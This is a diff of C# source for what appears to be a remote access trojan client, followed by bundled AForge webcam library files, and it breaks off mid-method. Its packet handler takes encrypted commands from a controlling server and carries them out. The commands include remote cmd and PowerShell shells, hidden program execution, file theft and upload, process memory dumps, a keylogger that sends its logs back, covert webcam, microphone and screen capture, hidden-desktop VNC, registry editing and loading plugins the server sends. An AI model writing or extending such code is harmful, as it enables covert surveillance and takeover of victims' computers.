using System.IO;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using AForge.Video.DirectShow;
|
||||
using MessagePack;
|
||||
|
||||
namespace Client.HandlePacket
|
||||
{
|
||||
internal class Packet
|
||||
{
|
||||
public static void Read(object data)
|
||||
{
|
||||
try
|
||||
{
|
||||
var unpack_msgpack = new MsgPack();
|
||||
unpack_msgpack.DecodeFromBytes(Helper.Helper.Aes.Decrypt((byte[])data));
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
{
|
||||
case "shell":
|
||||
{
|
||||
HandleShell.StarShell();
|
||||
break;
|
||||
}
|
||||
|
||||
case "shellWriteInput":
|
||||
{
|
||||
HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "shellClose":
|
||||
{
|
||||
|
||||
HandleShell.ShellClose();
|
||||
break;
|
||||
}
|
||||
|
||||
case "powershell":
|
||||
{
|
||||
HandlePowershell.StarShell();
|
||||
break;
|
||||
}
|
||||
|
||||
case "powershellWriteInput":
|
||||
{
|
||||
HandlePowershell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "powershellClose":
|
||||
{
|
||||
HandlePowershell.ShellClose();
|
||||
break;
|
||||
}
|
||||
|
||||
case "process":
|
||||
{
|
||||
HandleProcess.ProcessList();
|
||||
break;
|
||||
}
|
||||
|
||||
case "processKill":
|
||||
{
|
||||
HandleProcess.ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
|
||||
break;
|
||||
}
|
||||
|
||||
case "processDump":
|
||||
{
|
||||
HandleProcess.Minidump(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
|
||||
break;
|
||||
}
|
||||
|
||||
case "getDrivers":
|
||||
{
|
||||
try
|
||||
{
|
||||
HandleFile.GetDrivers();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error( ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "getPath":
|
||||
{
|
||||
try
|
||||
{
|
||||
HandleFile.GetPath(
|
||||
unpack_msgpack.ForcePathObject("Path").AsString);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error(ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "deleteFile":
|
||||
{
|
||||
try
|
||||
{
|
||||
var fullPath = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
File.Delete(fullPath);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error( ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "execute":
|
||||
{
|
||||
try
|
||||
{
|
||||
var fullPath = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
Process.Start(fullPath);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error(ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "executeHidden":
|
||||
{
|
||||
try
|
||||
{
|
||||
var fullPath = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
var process = new Process();
|
||||
process.StartInfo.FileName = fullPath;
|
||||
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
process.Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error(ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "executeNewDesktop":
|
||||
{
|
||||
try
|
||||
{
|
||||
var fullPath = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
HandleFile.ExecuteNewDesktop(fullPath);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error(ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "createFolder":
|
||||
{
|
||||
try
|
||||
{
|
||||
var fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
|
||||
if (!Directory.Exists(fullPath)) Directory.CreateDirectory(fullPath);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error(ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "deleteFolder":
|
||||
{
|
||||
try
|
||||
{
|
||||
var fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
|
||||
if (Directory.Exists(fullPath)) Directory.Delete(fullPath, true);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error(ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "copyFile":
|
||||
{
|
||||
try
|
||||
{
|
||||
foreach (var item in HandleFile.Copies)
|
||||
if (item.HWID == unpack_msgpack.ForcePathObject("HWID").AsString)
|
||||
{
|
||||
item.FileCopy = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
item.PathCopy = unpack_msgpack.ForcePathObject("Path").AsString;
|
||||
break;
|
||||
}
|
||||
|
||||
var copy = new HandleFile.Copy
|
||||
{
|
||||
HWID = unpack_msgpack.ForcePathObject("HWID").AsString,
|
||||
FileCopy = unpack_msgpack.ForcePathObject("File").AsString,
|
||||
PathCopy = unpack_msgpack.ForcePathObject("Path").AsString
|
||||
};
|
||||
HandleFile.Copies.Add(copy);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error(ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "pasteFile":
|
||||
{
|
||||
try
|
||||
{
|
||||
HandleFile.Copy filecopy = null;
|
||||
foreach (var item in HandleFile.Copies)
|
||||
if (item.HWID == unpack_msgpack.ForcePathObject("HWID").AsString)
|
||||
filecopy = item;
|
||||
var fullPath = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
if (fullPath.Length > 0 && filecopy != null)
|
||||
{
|
||||
var filesArray = filecopy.FileCopy.Split(new[] { "-=>" }, StringSplitOptions.None);
|
||||
foreach (var t in filesArray)
|
||||
try
|
||||
{
|
||||
if (t.Length > 0)
|
||||
{
|
||||
if (unpack_msgpack.ForcePathObject("IO").AsString == "copy")
|
||||
File.Copy(t, Path.Combine(fullPath, Path.GetFileName(t)), true);
|
||||
else
|
||||
File.Move(t, Path.Combine(fullPath, Path.GetFileName(t)));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error(ex.Message);
|
||||
}
|
||||
|
||||
var pathArray = filecopy.PathCopy.Split(new[] { "-=>" }, StringSplitOptions.None);
|
||||
foreach (var t in pathArray)
|
||||
try
|
||||
{
|
||||
if (t.Length > 0)
|
||||
{
|
||||
if (unpack_msgpack.ForcePathObject("IO").AsString == "copy")
|
||||
HandleFile.CopyDirectory(t, Path.Combine(fullPath, Path.GetFileName(t)));
|
||||
else
|
||||
Directory.Move(t, Path.Combine(fullPath, Path.GetFileName(t)));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error( ex.Message);
|
||||
}
|
||||
|
||||
foreach (var item in HandleFile.Copies)
|
||||
if (item.HWID == unpack_msgpack.ForcePathObject("HWID").AsString)
|
||||
{
|
||||
item.FileCopy = null;
|
||||
item.PathCopy = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error(ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "renameFile":
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Move(unpack_msgpack.ForcePathObject("File").AsString,
|
||||
unpack_msgpack.ForcePathObject("NewName").AsString);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error(ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "renameFolder":
|
||||
{
|
||||
try
|
||||
{
|
||||
Directory.Move(unpack_msgpack.ForcePathObject("Folder").AsString,
|
||||
unpack_msgpack.ForcePathObject("NewName").AsString);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error( ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "zip":
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!HandleFile.CheckForSevenZip())
|
||||
HandleFile.Error(
|
||||
"7-zip hasn't installed.");
|
||||
if (unpack_msgpack.ForcePathObject("Zip").AsString == "true")
|
||||
{
|
||||
var sb = new StringBuilder();
|
||||
var location = new StringBuilder();
|
||||
foreach (var path in unpack_msgpack.ForcePathObject("Path").AsString
|
||||
.Split(new[] { "-=>" }, StringSplitOptions.None))
|
||||
if (!(path == null || path == ""))
|
||||
{
|
||||
sb.Append($"-ir!\"{path}\" ");
|
||||
if (location.Length == 0) location.Append(Path.GetFullPath(path));
|
||||
}
|
||||
|
||||
HandleFile.ZipCommandLine(sb.ToString(), true, location.ToString());
|
||||
}
|
||||
else
|
||||
{
|
||||
HandleFile.ZipCommandLine(unpack_msgpack.ForcePathObject("Path").AsString, false, "");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error( ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "install7Zip":
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(HandleFile.ZipPath))
|
||||
HandleFile.Error(
|
||||
"7-zip already installed.");
|
||||
if (!Directory.Exists(Path.GetTempPath() + "\\7-Zip"))
|
||||
Directory.CreateDirectory(Path.GetTempPath() + "\\7-Zip");
|
||||
File.WriteAllBytes(HandleFile.ZipPath, unpack_msgpack.ForcePathObject("File").GetAsBytes());
|
||||
File.WriteAllBytes(Path.Combine(Path.GetTempPath(), "7-Zip\\7z.dll"), unpack_msgpack.ForcePathObject("Dll").GetAsBytes());
|
||||
HandleFile.Error( "7-zip installed.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error( ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "uploadFile":
|
||||
{
|
||||
try
|
||||
{
|
||||
var fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
|
||||
if (File.Exists(fullPath))
|
||||
{
|
||||
File.Delete(fullPath);
|
||||
Thread.Sleep(500);
|
||||
}
|
||||
|
||||
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
||||
Program.TCP_Socket.Log(fullPath+ "uploaded" );
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error( ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "downloadFile":
|
||||
{
|
||||
try
|
||||
{
|
||||
if (new FileInfo(unpack_msgpack.ForcePathObject("File").AsString).Length >= 2147483647)
|
||||
{
|
||||
HandleFile.Error( "Don't support files larger than 2GB.");
|
||||
}
|
||||
|
||||
string file = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
|
||||
HandleFile handleFile = new HandleFile();
|
||||
handleFile.DownnloadFile(file, dwid);
|
||||
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandleFile.Error( ex.Message);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "capture":
|
||||
{
|
||||
|
||||
if (HandleDesktop.IsOk) return;
|
||||
|
||||
HandleDesktop.IsOk = true;
|
||||
HandleDesktop.CaptureAndSend(
|
||||
Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger),
|
||||
Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
|
||||
break;
|
||||
}
|
||||
|
||||
case "mouseClick":
|
||||
{
|
||||
Native.mouse_event((int)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
|
||||
break;
|
||||
}
|
||||
|
||||
case "mouseMove":
|
||||
{
|
||||
var position = new Point((int)unpack_msgpack.ForcePathObject("X").AsInteger,
|
||||
(int)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
Cursor.Position = position;
|
||||
break;
|
||||
}
|
||||
|
||||
case "captureStop":
|
||||
{
|
||||
HandleDesktop.IsOk = false;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "keyboardClick":
|
||||
{
|
||||
var keyDown = Convert.ToBoolean(unpack_msgpack.ForcePathObject("keyIsDown").AsString);
|
||||
var key = Convert.ToByte(unpack_msgpack.ForcePathObject("key").AsInteger);
|
||||
Native.keybd_event(key, 0, keyDown ? 0x0000 : (uint)0x0002, UIntPtr.Zero);
|
||||
break;
|
||||
}
|
||||
|
||||
case "webcamGet":
|
||||
{
|
||||
HandleCamera.GetWebcams();
|
||||
break;
|
||||
}
|
||||
|
||||
case "webcamStart":
|
||||
{
|
||||
if (HandleCamera.IsOk) return;
|
||||
|
||||
HandleCamera.IsOk = true;
|
||||
var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||
HandleCamera.FinalVideo = new VideoCaptureDevice(
|
||||
videoCaptureDevices[(int)unpack_msgpack.ForcePathObject("List").AsInteger]
|
||||
.MonikerString);
|
||||
HandleCamera.Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger;
|
||||
HandleCamera.FinalVideo.NewFrame += HandleCamera.CaptureRun;
|
||||
HandleCamera.FinalVideo.VideoResolution =
|
||||
HandleCamera.FinalVideo.VideoCapabilities[
|
||||
unpack_msgpack.ForcePathObject("List").AsInteger];
|
||||
Debug.WriteLine(unpack_msgpack.ForcePathObject("List").AsInteger);
|
||||
HandleCamera.FinalVideo.Start();
|
||||
break;
|
||||
}
|
||||
|
||||
case "webcamStop":
|
||||
{
|
||||
HandleCamera.CaptureDispose();
|
||||
break;
|
||||
}
|
||||
|
||||
case "network":
|
||||
{
|
||||
HandleNetwork.NetstatList();
|
||||
break;
|
||||
}
|
||||
|
||||
case "networkKill":
|
||||
{
|
||||
HandleNetwork.Kill(
|
||||
Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
|
||||
break;
|
||||
}
|
||||
|
||||
case "device":
|
||||
{
|
||||
HandleDevice.GetAllDevices();
|
||||
break;
|
||||
}
|
||||
|
||||
case "deviceSet":
|
||||
{
|
||||
var utf8 = Encoding.UTF8.GetBytes(unpack_msgpack.ForcePathObject("ID").AsString);
|
||||
|
||||
var strencode = Encoding.UTF8.GetString(utf8);
|
||||
foreach (var temporaryDeviceInfo in HandleDevice.EnumerateDevices())
|
||||
if (temporaryDeviceInfo.GetProperty(Native.SPDRP.SPDRP_HARDWAREID) == strencode)
|
||||
{
|
||||
HandleDevice.EnableDevice(temporaryDeviceInfo.HDevInfo, temporaryDeviceInfo.DeviceData,
|
||||
Convert.ToBoolean(unpack_msgpack.ForcePathObject("Enable").AsString));
|
||||
HandleDevice.GetAllDevices();
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "codedom":
|
||||
{
|
||||
HandlePlugin.PluginLoad(unpack_msgpack.ForcePathObject("Name").AsString, unpack_msgpack.ForcePathObject("assemblyBytes").GetAsBytes());
|
||||
break;
|
||||
}
|
||||
|
||||
case "LoadRegistryKey":
|
||||
{
|
||||
var RootKeyName = unpack_msgpack.ForcePathObject("RootKeyName").AsString;
|
||||
HandleRegEdit.LoadKey(RootKeyName);
|
||||
break;
|
||||
}
|
||||
case "CreateRegistryKey":
|
||||
{
|
||||
var ParentPath = unpack_msgpack.ForcePathObject("ParentPath").AsString;
|
||||
HandleRegEdit.CreateKey(ParentPath);
|
||||
break;
|
||||
}
|
||||
case "DeleteRegistryKey":
|
||||
{
|
||||
var KeyName = unpack_msgpack.ForcePathObject("KeyName").AsString;
|
||||
var ParentPath = unpack_msgpack.ForcePathObject("ParentPath").AsString;
|
||||
HandleRegEdit.DeleteKey(KeyName, ParentPath);
|
||||
break;
|
||||
}
|
||||
case "RenameRegistryKey":
|
||||
{
|
||||
var OldKeyName = unpack_msgpack.ForcePathObject("OldKeyName").AsString;
|
||||
var NewKeyName = unpack_msgpack.ForcePathObject("NewKeyName").AsString;
|
||||
var ParentPath = unpack_msgpack.ForcePathObject("ParentPath").AsString;
|
||||
HandleRegEdit.RenameKey(OldKeyName, NewKeyName, ParentPath);
|
||||
break;
|
||||
}
|
||||
case "CreateRegistryValue":
|
||||
{
|
||||
var KeyPath = unpack_msgpack.ForcePathObject("KeyPath").AsString;
|
||||
var Kindstring = unpack_msgpack.ForcePathObject("Kindstring").AsString;
|
||||
HandleRegEdit.CreateValue(KeyPath, Kindstring);
|
||||
break;
|
||||
}
|
||||
case "DeleteRegistryValue":
|
||||
{
|
||||
var KeyPath = unpack_msgpack.ForcePathObject("KeyPath").AsString;
|
||||
var ValueName = unpack_msgpack.ForcePathObject("ValueName").AsString;
|
||||
HandleRegEdit.DeleteValue(KeyPath, ValueName);
|
||||
break;
|
||||
}
|
||||
case "RenameRegistryValue":
|
||||
{
|
||||
var OldValueName = unpack_msgpack.ForcePathObject("OldValueName").AsString;
|
||||
var NewValueName = unpack_msgpack.ForcePathObject("NewValueName").AsString;
|
||||
var KeyPath = unpack_msgpack.ForcePathObject("KeyPath").AsString;
|
||||
HandleRegEdit.RenameValue(OldValueName, NewValueName, KeyPath);
|
||||
break;
|
||||
}
|
||||
case "ChangeRegistryValue":
|
||||
{
|
||||
var Valuebyte = unpack_msgpack.ForcePathObject("Value").GetAsBytes();
|
||||
var Value = HandleRegEdit.DeSerializeRegValueData(Valuebyte);
|
||||
HandleRegEdit.ChangeValue(Value, unpack_msgpack.ForcePathObject("KeyPath").AsString);
|
||||
break;
|
||||
}
|
||||
case "voice":
|
||||
{
|
||||
HandleVoice.OpenAudio(44100, 16, 2);
|
||||
break;
|
||||
}
|
||||
|
||||
case "voiceClose":
|
||||
{
|
||||
HandleVoice.Dispose();
|
||||
break;
|
||||
}
|
||||
|
||||
case "keylogger":
|
||||
{
|
||||
if (HandleKeylogger.offline)
|
||||
{
|
||||
HandleKeylogger.online = true;
|
||||
break;
|
||||
}
|
||||
if (!HandleKeylogger.online)
|
||||
{
|
||||
HandleKeylogger.online = true;
|
||||
HandleKeylogger.Run();
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "keyloggerStop":
|
||||
{
|
||||
HandleKeylogger.online = false;
|
||||
if (!HandleKeylogger.offline) HandleKeylogger.Stop();
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "keyloggerSave":
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLoggerSave";
|
||||
msgpack.ForcePathObject("log").AsString = File.ReadAllText(HandleKeylogger.path,Encoding.UTF8);
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
break;
|
||||
}
|
||||
|
||||
case "hvnc":
|
||||
{
|
||||
var thread = new Thread(() =>
|
||||
{
|
||||
if (HandleHVNC.IsOk) return;
|
||||
if (!HandleHVNC.inited) HandleHVNC.HandleHVNCInit();
|
||||
|
||||
HandleHVNC.IsOk = true;
|
||||
HandleHVNC.CaptureAndSend();
|
||||
});
|
||||
thread.SetApartmentState(ApartmentState.STA);
|
||||
thread.IsBackground = true;
|
||||
thread.Start();
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "hvncMouse":
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Button").AsString)
|
||||
{
|
||||
case "2":
|
||||
{
|
||||
HandleHVNC.PostClickLD((int)unpack_msgpack.ForcePathObject("X").AsInteger,
|
||||
(int)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
break;
|
||||
}
|
||||
case "8":
|
||||
{
|
||||
HandleHVNC.PostClickRD((int)unpack_msgpack.ForcePathObject("X").AsInteger,
|
||||
(int)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
|
||||
break;
|
||||
}
|
||||
case "4":
|
||||
{
|
||||
HandleHVNC.PostClickLU((int)unpack_msgpack.ForcePathObject("X").AsInteger,
|
||||
(int)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
|
||||
break;
|
||||
}
|
||||
case "16":
|
||||
{
|
||||
HandleHVNC.PostClickRU((int)unpack_msgpack.ForcePathObject("X").AsInteger,
|
||||
(int)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "hvncMouseMove":
|
||||
{
|
||||
HandleHVNC.PostMove((int)unpack_msgpack.ForcePathObject("X").AsInteger,
|
||||
(int)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||
break;
|
||||
}
|
||||
|
||||
case "hvncKeyboard":
|
||||
{
|
||||
HandleHVNC.PostKeyDown(unpack_msgpack.ForcePathObject("key").AsInteger);
|
||||
break;
|
||||
}
|
||||
|
||||
case "hvncCommand":
|
||||
{
|
||||
Native.SetThreadDesktop(HandleHVNC.hNewDesktop);
|
||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||
{
|
||||
case "min":
|
||||
{
|
||||
HandleHVNC.MinTop();
|
||||
break;
|
||||
}
|
||||
case "max":
|
||||
{
|
||||
HandleHVNC.RestoreMaxTop();
|
||||
break;
|
||||
}
|
||||
case "close":
|
||||
{
|
||||
HandleHVNC.CloseTop();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Native.SetThreadDesktop(HandleHVNC.hOldDesktop);
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "hvncStop":
|
||||
{
|
||||
HandleHVNC.StopHVNC();
|
||||
break;
|
||||
}
|
||||
|
||||
case "thumbnail":
|
||||
{
|
||||
if (!HandleThumbnail.isOn)
|
||||
{
|
||||
HandleThumbnail.isOn = true;
|
||||
HandleThumbnail.Start();
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "thumbnailStop":
|
||||
{
|
||||
HandleThumbnail.isOn = false;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
case "option":
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||
{
|
||||
case "Stop":
|
||||
{
|
||||
HandleOption.Stop();
|
||||
break;
|
||||
}
|
||||
case "Disconnnect":
|
||||
{
|
||||
HandleOption.Disconnnect();
|
||||
break;
|
||||
}
|
||||
case "Restart":
|
||||
{
|
||||
HandleOption.Restart();
|
||||
break;
|
||||
}
|
||||
case "Update":
|
||||
{
|
||||
HandleOption.Update(unpack_msgpack.ForcePathObject("File").GetAsBytes());
|
||||
break;
|
||||
}
|
||||
case "DeleteSelf":
|
||||
{
|
||||
HandleOption.DeleteSelf();
|
||||
break;
|
||||
}
|
||||
case "ReBoot":
|
||||
{
|
||||
HandleOption.ReBoot();
|
||||
break;
|
||||
}
|
||||
case "PowerOff":
|
||||
{
|
||||
HandleOption.PowerOff();
|
||||
break;
|
||||
}
|
||||
case "LogOut":
|
||||
{
|
||||
HandleOption.LogOut();
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.TCP_Socket.Log(ex.Message);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Source + " : " + ex.Message);
|
||||
Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Error(string ex)
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Error";
|
||||
msgpack.ForcePathObject("Message").AsString = ex;
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
public static void Log(string log)
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Log";
|
||||
msgpack.ForcePathObject("Message").AsString = log;
|
||||
Program.TCP_Socket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,75 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
using System;
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
/// <summary>
|
||||
/// The enumeration specifies a setting on a camera.
|
||||
/// </summary>
|
||||
public enum CameraControlProperty
|
||||
{
|
||||
/// <summary>
|
||||
/// Pan control.
|
||||
/// </summary>
|
||||
Pan = 0,
|
||||
|
||||
/// <summary>
|
||||
/// Tilt control.
|
||||
/// </summary>
|
||||
Tilt,
|
||||
|
||||
/// <summary>
|
||||
/// Roll control.
|
||||
/// </summary>
|
||||
Roll,
|
||||
|
||||
/// <summary>
|
||||
/// Zoom control.
|
||||
/// </summary>
|
||||
Zoom,
|
||||
|
||||
/// <summary>
|
||||
/// Exposure control.
|
||||
/// </summary>
|
||||
Exposure,
|
||||
|
||||
/// <summary>
|
||||
/// Iris control.
|
||||
/// </summary>
|
||||
Iris,
|
||||
|
||||
/// <summary>
|
||||
/// Focus control.
|
||||
/// </summary>
|
||||
Focus
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The enumeration defines whether a camera setting is controlled manually or automatically.
|
||||
/// </summary>
|
||||
[Flags]
|
||||
public enum CameraControlFlags
|
||||
{
|
||||
/// <summary>
|
||||
/// No control flag.
|
||||
/// </summary>
|
||||
None = 0x0,
|
||||
|
||||
/// <summary>
|
||||
/// Auto control Flag.
|
||||
/// </summary>
|
||||
Auto = 0x0001,
|
||||
|
||||
/// <summary>
|
||||
/// Manual control Flag.
|
||||
/// </summary>
|
||||
Manual = 0x0002
|
||||
}
|
||||
}
|
|
@ -0,0 +1,192 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
using AForge.Video.DirectShow.Internals;
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
/// <summary>
|
||||
/// DirectShow filter information.
|
||||
/// </summary>
|
||||
///
|
||||
public class FilterInfo : IComparable
|
||||
{
|
||||
/// <summary>
|
||||
/// Filter name.
|
||||
/// </summary>
|
||||
public string Name { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Filters's moniker string.
|
||||
/// </summary>
|
||||
///
|
||||
public string MonikerString { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="FilterInfo"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="monikerString">Filters's moniker string.</param>
|
||||
///
|
||||
public FilterInfo(string monikerString)
|
||||
{
|
||||
MonikerString = monikerString;
|
||||
Name = GetName(monikerString);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="FilterInfo"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="moniker">Filter's moniker object.</param>
|
||||
///
|
||||
internal FilterInfo(IMoniker moniker)
|
||||
{
|
||||
MonikerString = GetMonikerString(moniker);
|
||||
Name = GetName(moniker);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Compare the object with another instance of this class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="value">Object to compare with.</param>
|
||||
///
|
||||
/// <returns>A signed number indicating the relative values of this instance and <b>value</b>.</returns>
|
||||
///
|
||||
public int CompareTo(object value)
|
||||
{
|
||||
var f = (FilterInfo) value;
|
||||
|
||||
if (f == null) return 1;
|
||||
|
||||
return Name.CompareTo(f.Name);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Create an instance of the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filterMoniker">Filter's moniker string.</param>
|
||||
///
|
||||
/// <returns>Returns filter's object, which implements <b>IBaseFilter</b> interface.</returns>
|
||||
///
|
||||
/// <remarks>The returned filter's object should be released using <b>Marshal.ReleaseComObject()</b>.</remarks>
|
||||
///
|
||||
public static object CreateFilter(string filterMoniker)
|
||||
{
|
||||
// filter's object
|
||||
object filterObject = null;
|
||||
// bind context and moniker objects
|
||||
IMoniker moniker = null;
|
||||
|
||||
var n = 0;
|
||||
|
||||
// create bind context
|
||||
if (Win32.CreateBindCtx(0, out var bindCtx) == 0)
|
||||
{
|
||||
// convert moniker`s string to a moniker
|
||||
if (Win32.MkParseDisplayName(bindCtx, filterMoniker, ref n, out moniker) == 0)
|
||||
{
|
||||
// get device base filter
|
||||
var filterId = typeof(IBaseFilter).GUID;
|
||||
moniker.BindToObject(null, null, ref filterId, out filterObject);
|
||||
|
||||
Marshal.ReleaseComObject(moniker);
|
||||
}
|
||||
|
||||
Marshal.ReleaseComObject(bindCtx);
|
||||
}
|
||||
|
||||
return filterObject;
|
||||
}
|
||||
|
||||
//
|
||||
// Get moniker string of the moniker
|
||||
//
|
||||
private string GetMonikerString(IMoniker moniker)
|
||||
{
|
||||
moniker.GetDisplayName(null, null, out var str);
|
||||
return str;
|
||||
}
|
||||
|
||||
//
|
||||
// Get filter name represented by the moniker
|
||||
//
|
||||
private string GetName(IMoniker moniker)
|
||||
{
|
||||
object bagObj = null;
|
||||
IPropertyBag bag = null;
|
||||
|
||||
try
|
||||
{
|
||||
var bagId = typeof(IPropertyBag).GUID;
|
||||
// get property bag of the moniker
|
||||
moniker.BindToStorage(null, null, ref bagId, out bagObj);
|
